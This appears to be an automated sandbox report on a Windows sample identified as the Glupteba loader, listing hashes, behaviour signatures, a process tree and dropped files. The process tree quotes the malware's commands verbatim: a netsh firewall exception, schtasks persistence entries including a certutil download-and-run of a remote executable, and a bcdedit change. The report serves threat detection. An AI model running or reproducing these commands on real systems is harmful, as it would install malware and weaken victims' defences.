Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-04-2024 23:26

General

  • Target

    73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe

  • Size

    4.8MB

  • MD5

    088a4a71b6c8af5e326c19be7a6b4899

  • SHA1

    0c4b6b16cfb7b63365e46801491e3723688e2cab

  • SHA256

    73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a

  • SHA512

    6063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724

  • SSDEEP

    98304:I3t6CvHWBq+hTB6owxq+wJntth5Bw3LUPUGWxnvT:I3pflOljTnhLILUP2Zv

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 16 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 16 IoCs
  • Detects executables referencing many varying, potentially fake Windows User-Agents 16 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe
    "C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3328
    • C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe
      "C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3736
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1792
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1412
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4328
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2528

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    4.8MB

    MD5

    088a4a71b6c8af5e326c19be7a6b4899

    SHA1

    0c4b6b16cfb7b63365e46801491e3723688e2cab

    SHA256

    73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a

    SHA512

    6063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724

  • memory/2380-7-0x0000000004E00000-0x00000000051A7000-memory.dmp

    Filesize

    3.7MB

  • memory/2380-8-0x00000000051B0000-0x00000000058A6000-memory.dmp

    Filesize

    7.0MB

  • memory/2380-14-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3328-1-0x0000000004E50000-0x00000000051F7000-memory.dmp

    Filesize

    3.7MB

  • memory/3328-2-0x0000000005200000-0x00000000058F6000-memory.dmp

    Filesize

    7.0MB

  • memory/3328-4-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3328-5-0x0000000005200000-0x00000000058F6000-memory.dmp

    Filesize

    7.0MB

  • memory/3328-6-0x0000000004E50000-0x00000000051F7000-memory.dmp

    Filesize

    3.7MB

  • memory/3328-0-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-19-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-25-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-20-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-21-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-22-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-23-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-24-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-15-0x00000000050D0000-0x0000000005477000-memory.dmp

    Filesize

    3.7MB

  • memory/3616-26-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-27-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-28-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-29-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-30-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-33-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB

  • memory/3616-34-0x0000000000400000-0x0000000004B47000-memory.dmp

    Filesize

    71.3MB